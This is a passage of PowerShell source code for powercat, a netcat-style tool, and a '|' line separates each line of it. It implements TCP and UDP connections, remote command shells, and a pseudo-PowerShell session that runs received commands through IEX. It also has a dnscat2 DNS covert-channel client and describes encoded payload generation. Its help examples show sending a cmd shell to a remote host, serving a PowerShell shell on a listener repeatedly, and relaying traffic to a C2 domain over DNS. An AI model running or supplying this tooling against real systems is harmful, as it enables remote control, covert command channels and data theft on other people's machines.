||||
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
|
||||
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
|
||||
[alias("OutputFile")][string]$of="",
|
||||
[alias("Disconnect")][switch]$d=$False,
|
||||
[alias("Repeater")][switch]$rep=$False,
|
||||
[alias("GeneratePayload")][switch]$g=$False,
|
||||
[alias("GenerateEncoded")][switch]$ge=$False,
|
||||
[alias("Help")][switch]$h=$False
|
||||
)
|
||||
|
||||
############### HELP ###############
|
||||
$Help = "
|
||||
powercat - Netcat, The Powershell Version
|
||||
Github Repository: https://github.com/besimorhino/powercat
|
||||
|
||||
This script attempts to implement the features of netcat in a powershell
|
||||
script. It also contains extra features such as built-in relays, execute
|
||||
powershell, and a dnscat2 client.
|
||||
|
||||
Usage: powercat [-c or -l] [-p port] [options]
|
||||
|
||||
-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
|
||||
If you are using -dns, specify the DNS Server to send queries to.
|
||||
|
||||
-l Listen Mode. Start a listener on the port specified by -p.
|
||||
|
||||
-p <port> Port. The port to connect to, or the port to listen on.
|
||||
|
||||
-e <proc> Execute. Specify the name of the process to start.
|
||||
|
||||
-ep Execute Powershell. Start a pseudo powershell session. You can
|
||||
declare variables and execute commands, but if you try to enter
|
||||
another shell (nslookup, netsh, cmd, etc.) the shell will hang.
|
||||
|
||||
-r <str> Relay. Used for relaying network traffic between two nodes.
|
||||
Client Relay Format: -r <protocol>:<ip addr>:<port>
|
||||
Listener Relay Format: -r <protocol>:<port>
|
||||
DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
|
||||
|
||||
-u UDP Mode. Send traffic over UDP. Because it's UDP, the client
|
||||
must send data before the server can respond.
|
||||
|
||||
-dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
|
||||
Specify the dns server to -c, the dns port to -p, and specify the
|
||||
domain to this option, -dns. This is only a client.
|
||||
Get the server here: https://github.com/iagox86/dnscat2
|
||||
|
||||
-dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
|
||||
recieve before exiting. Set to zero when receiving files, and set high
|
||||
for more stability over the internet.
|
||||
|
||||
-t <int> Timeout. The number of seconds to wait before giving up on listening or
|
||||
connecting. Default: 60
|
||||
|
||||
-i <input> Input. Provide data to be sent down the pipe as soon as a connection is
|
||||
established. Used for moving files. You can provide the path to a file,
|
||||
a byte array object, or a string. You can also pipe any of those into
|
||||
powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
|
||||
|
||||
-o <type> Output. Specify how powercat should return information to the console.
|
||||
Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
|
||||
|
||||
-of <path> Output File. Specify the path to a file to write output to.
|
||||
|
||||
-d Disconnect. powercat will disconnect after the connection is established
|
||||
and the input from -i is sent. Used for scanning.
|
||||
|
||||
-rep Repeater. powercat will continually restart after it is disconnected.
|
||||
Used for setting up a persistent server.
|
||||
|
||||
-g Generate Payload. Returns a script as a string which will execute the
|
||||
powercat with the options you have specified. -i, -d, and -rep will not
|
||||
be incorporated.
|
||||
|
||||
-ge Generate Encoded Payload. Does the same as -g, but returns a string which
|
||||
can be executed in this way: powershell -E <encoded string>
|
||||
|
||||
-h Print this help message.
|
||||
|
||||
Examples:
|
||||
|
||||
Listen on port 8000 and print the output to the console.
|
||||
powercat -l -p 8000
|
||||
|
||||
Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
|
||||
powercat -c 10.1.1.1 -p 443 -e cmd -v
|
||||
|
||||
Connect to the dnscat2 server on c2.example.com, and send dns queries
|
||||
to the dns server on 10.1.1.1 port 53.
|
||||
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
|
||||
|
||||
Send a file to 10.1.1.15 port 8000.
|
||||
powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
|
||||
|
||||
Write the data sent to the local listener on port 4444 to C:\outfile
|
||||
powercat -l -p 4444 -of C:\outfile
|
||||
|
||||
Listen on port 8000 and repeatedly server a powershell shell.
|
||||
powercat -l -p 8000 -ep -rep
|
||||
|
||||
Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
|
||||
powercat -l -p 8000 -r tcp:10.1.1.1:9000
|
||||
|
||||
Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
|
||||
sending queries to 10.1.1.1 port 53.
|
||||
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
|
||||
"
|
||||
if($h){return $Help}
|
||||
############### HELP ###############
|
||||
|
||||
############### VALIDATE ARGS ###############
|
||||
$global:Verbose = $Verbose
|
||||
if($of -ne ''){$o = 'Bytes'}
|
||||
if($dns -eq "")
|
||||
{
|
||||
if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
|
||||
if($p -eq ""){return "Please provide a port number to -p."}
|
||||
}
|
||||
if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
|
||||
if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
|
||||
if($l)
|
||||
{
|
||||
$Failure = $False
|
||||
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
|
||||
if($Failure){break}
|
||||
}
|
||||
if($r -ne "")
|
||||
{
|
||||
if($r.split(":").Count -eq 2)
|
||||
{
|
||||
$Failure = $False
|
||||
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
|
||||
if($Failure){break}
|
||||
}
|
||||
}
|
||||
############### VALIDATE ARGS ###############
|
||||
|
||||
############### UDP FUNCTIONS ###############
|
||||
function Setup_UDP
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$c,$l,$p,$t = $FuncSetupVars
|
||||
$FuncVars = @{}
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
if($l)
|
||||
{
|
||||
$SocketDestinationBuffer = New-Object System.Byte[] 65536
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
|
||||
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
|
||||
$PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
|
||||
Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
|
||||
$ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
|
||||
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
while($True)
|
||||
{
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
|
||||
{
|
||||
Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
|
||||
$FuncVars["Socket"].Close()
|
||||
$Stopwatch.Stop()
|
||||
break
|
||||
}
|
||||
}
|
||||
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
|
||||
{
|
||||
$FuncVars["Socket"].Close()
|
||||
$Stopwatch.Stop()
|
||||
Write-Verbose "Timeout!" ; break
|
||||
}
|
||||
if($ConnectHandle.IsCompleted)
|
||||
{
|
||||
$SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
|
||||
Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
|
||||
if($SocketBytesRead -gt 0){break}
|
||||
else{break}
|
||||
}
|
||||
}
|
||||
$Stopwatch.Stop()
|
||||
$FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
|
||||
}
|
||||
else
|
||||
{
|
||||
if(!$c.Contains("."))
|
||||
{
|
||||
$IPList = @()
|
||||
[System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
|
||||
Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
|
||||
}
|
||||
else
|
||||
{
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
|
||||
}
|
||||
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
|
||||
$FuncVars["Socket"].Connect($c,$p)
|
||||
Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
|
||||
Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
|
||||
}
|
||||
$FuncVars["BufferSize"] = 65536
|
||||
$FuncVars["EndPoint"] = $EndPoint
|
||||
$FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_UDP
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($FuncVars["StreamReadOperation"].IsCompleted)
|
||||
{
|
||||
$StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
|
||||
if($StreamBytesRead -eq 0){break}
|
||||
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_UDP
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_UDP
|
||||
{
|
||||
param($FuncVars)
|
||||
$FuncVars["Socket"].Close()
|
||||
}
|
||||
############### UDP FUNCTIONS ###############
|
||||
|
||||
############### DNS FUNCTIONS ###############
|
||||
function Setup_DNS
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
function ConvertTo-HexArray
|
||||
{
|
||||
param($String)
|
||||
$Hex = @()
|
||||
$String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
|
||||
return $Hex
|
||||
}
|
||||
|
||||
function SendPacket
|
||||
{
|
||||
param($Packet,$DNSServer,$DNSPort)
|
||||
$Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
|
||||
$result = ($Command | nslookup 2>&1 | Out-String)
|
||||
if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
|
||||
else{return 1}
|
||||
}
|
||||
|
||||
function Create_SYN
|
||||
{
|
||||
param($SessionId,$SeqNum,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
|
||||
}
|
||||
|
||||
function Create_FIN
|
||||
{
|
||||
param($SessionId,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
|
||||
}
|
||||
|
||||
function Create_MSG
|
||||
{
|
||||
param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
|
||||
}
|
||||
|
||||
function DecodePacket
|
||||
{
|
||||
param($Packet)
|
||||
|
||||
if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
|
||||
$AcknowledgementNumber = ($Packet[10..13] -join "")
|
||||
$SeqNum = ($Packet[14..17] -join "")
|
||||
[byte[]]$ReturningData = @()
|
||||
|
||||
if($Packet.Length -gt 18)
|
||||
{
|
||||
$PacketElim = $Packet.Substring(18)
|
||||
while($PacketElim.Length -gt 0)
|
||||
{
|
||||
$ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
|
||||
$PacketElim = $PacketElim.Substring(2)
|
||||
}
|
||||
}
|
||||
|
||||
return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
|
||||
}
|
||||
|
||||
function AcknowledgeData
|
||||
{
|
||||
param($ReturningData,$AcknowledgementNumber)
|
||||
$Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
|
||||
if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
|
||||
return $Hex
|
||||
}
|
||||
$FuncVars = @{}
|
||||
$FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
|
||||
if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
|
||||
$FuncVars["Tag"] = ""
|
||||
$FuncVars["Domain"] = ("." + $FuncVars["Domain"])
|
||||
|
||||
$FuncVars["Create_SYN"] = ${function:Create_SYN}
|
||||
$FuncVars["Create_MSG"] = ${function:Create_MSG}
|
||||
$FuncVars["Create_FIN"] = ${function:Create_FIN}
|
||||
$FuncVars["DecodePacket"] = ${function:DecodePacket}
|
||||
$FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
|
||||
$FuncVars["AckData"] = ${function:AcknowledgeData}
|
||||
$FuncVars["SendPacket"] = ${function:SendPacket}
|
||||
$FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
|
||||
$FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["Failures"] = 0
|
||||
|
||||
$SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
|
||||
$ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
|
||||
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
|
||||
if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
|
||||
$ReturningData = $DecodedPacket[1]
|
||||
if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
|
||||
$FuncVars["AckNum"] = $DecodedPacket[2]
|
||||
$FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
|
||||
if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_DNS
|
||||
{
|
||||
param($FuncVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
|
||||
$PacketsData = @()
|
||||
$PacketData = ""
|
||||
|
||||
if($FuncVars["InputData"] -ne $null)
|
||||
{
|
||||
$Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
|
||||
$SectionCount = 0
|
||||
$PacketCount = 0
|
||||
foreach($Char in $Hex)
|
||||
{
|
||||
if($SectionCount -ge 30)
|
||||
{
|
||||
$SectionCount = 0
|
||||
$PacketData += "."
|
||||
}
|
||||
if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
|
||||
{
|
||||
$PacketsData += $PacketData.TrimEnd(".")
|
||||
$PacketCount = 0
|
||||
$SectionCount = 0
|
||||
$PacketData = ""
|
||||
}
|
||||
$PacketData += $Char
|
||||
$SectionCount += 2
|
||||
$PacketCount += 2
|
||||
}
|
||||
$PacketData = $PacketData.TrimEnd(".")
|
||||
$PacketsData += $PacketData
|
||||
$FuncVars["InputData"] = ""
|
||||
}
|
||||
else
|
||||
{
|
||||
$PacketsData = @("")
|
||||
}
|
||||
|
||||
[byte[]]$ReturningData = @()
|
||||
foreach($PacketData in $PacketsData)
|
||||
{
|
||||
try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
|
||||
catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
|
||||
catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
try
|
||||
{
|
||||
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
|
||||
if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
|
||||
$FuncVars["AckNum"] = $DecodedPacket[2]
|
||||
$FuncVars["SeqNum"] = $DecodedPacket[3]
|
||||
$ReturningData += $DecodedPacket[1]
|
||||
}
|
||||
catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
}
|
||||
|
||||
if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
|
||||
|
||||
if($ReturningData -ne @())
|
||||
{
|
||||
$FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
|
||||
}
|
||||
return $ReturningData,$FuncVars
|
||||
}
|
||||
function WriteData_DNS
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_DNS
|
||||
{
|
||||
param($FuncVars)
|
||||
$FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
|
||||
Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
|
||||
}
|
||||
############### DNS FUNCTIONS ###############
|
||||
|
||||
########## TCP FUNCTIONS ##########
|
||||
function Setup_TCP
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
$c,$l,$p,$t = $FuncSetupVars
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$FuncVars = @{}
|
||||
if(!$l)
|
||||
{
|
||||
$FuncVars["l"] = $False
|
||||
$Socket = New-Object System.Net.Sockets.TcpClient
|
||||
Write-Verbose "Connecting..."
|
||||
$Handle = $Socket.BeginConnect($c,$p,$null,$null)
|
||||
}
|
||||
else
|
||||
{
|
||||
$FuncVars["l"] = $True
|
||||
Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
|
||||
$Socket = New-Object System.Net.Sockets.TcpListener $p
|
||||
$Socket.Start()
|
||||
$Handle = $Socket.BeginAcceptTcpClient($null, $null)
|
||||
}
|
||||
|
||||
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
while($True)
|
||||
{
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
|
||||
{
|
||||
Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
|
||||
if($FuncVars["l"]){$Socket.Stop()}
|
||||
else{$Socket.Close()}
|
||||
$Stopwatch.Stop()
|
||||
break
|
||||
}
|
||||
}
|
||||
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
|
||||
{
|
||||
if(!$l){$Socket.Close()}
|
||||
else{$Socket.Stop()}
|
||||
$Stopwatch.Stop()
|
||||
Write-Verbose "Timeout!" ; break
|
||||
break
|
||||
}
|
||||
if($Handle.IsCompleted)
|
||||
{
|
||||
if(!$l)
|
||||
{
|
||||
try
|
||||
{
|
||||
$Socket.EndConnect($Handle)
|
||||
$Stream = $Socket.GetStream()
|
||||
$BufferSize = $Socket.ReceiveBufferSize
|
||||
Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
|
||||
}
|
||||
catch{$Socket.Close(); $Stopwatch.Stop(); break}
|
||||
}
|
||||
else
|
||||
{
|
||||
$Client = $Socket.EndAcceptTcpClient($Handle)
|
||||
$Stream = $Client.GetStream()
|
||||
$BufferSize = $Client.ReceiveBufferSize
|
||||
Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
$Stopwatch.Stop()
|
||||
if($Socket -eq $null){break}
|
||||
$FuncVars["Stream"] = $Stream
|
||||
$FuncVars["Socket"] = $Socket
|
||||
$FuncVars["BufferSize"] = $BufferSize
|
||||
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["StreamBytesRead"] = 1
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_TCP
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($FuncVars["StreamBytesRead"] -eq 0){break}
|
||||
if($FuncVars["StreamReadOperation"].IsCompleted)
|
||||
{
|
||||
$StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
|
||||
if($StreamBytesRead -eq 0){break}
|
||||
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_TCP
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Stream"].Write($Data, 0, $Data.Length)
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_TCP
|
||||
{
|
||||
param($FuncVars)
|
||||
try{$FuncVars["Stream"].Close()}
|
||||
catch{}
|
||||
if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
|
||||
else{$FuncVars["Socket"].Close()}
|
||||
}
|
||||
########## TCP FUNCTIONS ##########
|
||||
|
||||
########## CMD FUNCTIONS ##########
|
||||
function Setup_CMD
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$FuncVars = @{}
|
||||
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$ProcessStartInfo.FileName = $FuncSetupVars[0]
|
||||
$ProcessStartInfo.UseShellExecute = $False
|
||||
$ProcessStartInfo.RedirectStandardInput = $True
|
||||
$ProcessStartInfo.RedirectStandardOutput = $True
|
||||
$ProcessStartInfo.RedirectStandardError = $True
|
||||
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
|
||||
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
|
||||
$FuncVars["Process"].Start() | Out-Null
|
||||
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
|
||||
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
||||
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
|
||||
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_CMD
|
||||
{
|
||||
param($FuncVars)
|
||||
[byte[]]$Data = @()
|
||||
if($FuncVars["StdOutReadOperation"].IsCompleted)
|
||||
{
|
||||
$StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
|
||||
if($StdOutBytesRead -eq 0){break}
|
||||
$Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
|
||||
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
||||
}
|
||||
if($FuncVars["StdErrReadOperation"].IsCompleted)
|
||||
{
|
||||
$StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
|
||||
if($StdErrBytesRead -eq 0){break}
|
||||
$Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
|
||||
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_CMD
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_CMD
|
||||
{
|
||||
param($FuncVars)
|
||||
$FuncVars["Process"] | Stop-Process
|
||||
}
|
||||
########## CMD FUNCTIONS ##########
|
||||
|
||||
########## POWERSHELL FUNCTIONS ##########
|
||||
function Main_Powershell
|
||||
{
|
||||
param($Stream1SetupVars)
|
||||
try
|
||||
{
|
||||
$encoding = New-Object System.Text.AsciiEncoding
|
||||
[byte[]]$InputToWrite = @()
|
||||
if($i -ne $null)
|
||||
{
|
||||
Write-Verbose "Input from -i detected..."
|
||||
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
|
||||
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
||||
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
||||
else{Write-Host "Unrecognised input type." ; return}
|
||||
}
|
||||
|
||||
Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
|
||||
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
||||
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
||||
|
||||
Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
|
||||
try
|
||||
{
|
||||
$IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
|
||||
$Prompt = ("PS " + (pwd).Path + "> ")
|
||||
$CommandToExecute = ""
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Stream 2 Setup Failure" ; return
|
||||
}
|
||||
|
||||
if($InputToWrite -ne @())
|
||||
{
|
||||
Write-Verbose "Writing input to Stream 1..."
|
||||
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
||||
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
||||
}
|
||||
|
||||
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
||||
|
||||
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
||||
while($True)
|
||||
{
|
||||
try
|
||||
{
|
||||
##### Stream2 Read #####
|
||||
$Prompt = $null
|
||||
$ReturnedData = $null
|
||||
if($CommandToExecute -ne "")
|
||||
{
|
||||
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
|
||||
catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
|
||||
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
|
||||
}
|
||||
$Data += $IntroPrompt
|
||||
$IntroPrompt = $null
|
||||
$Data += $ReturnedData
|
||||
$Data += $Prompt
|
||||
$CommandToExecute = ""
|
||||
##### Stream2 Read #####
|
||||
|
||||
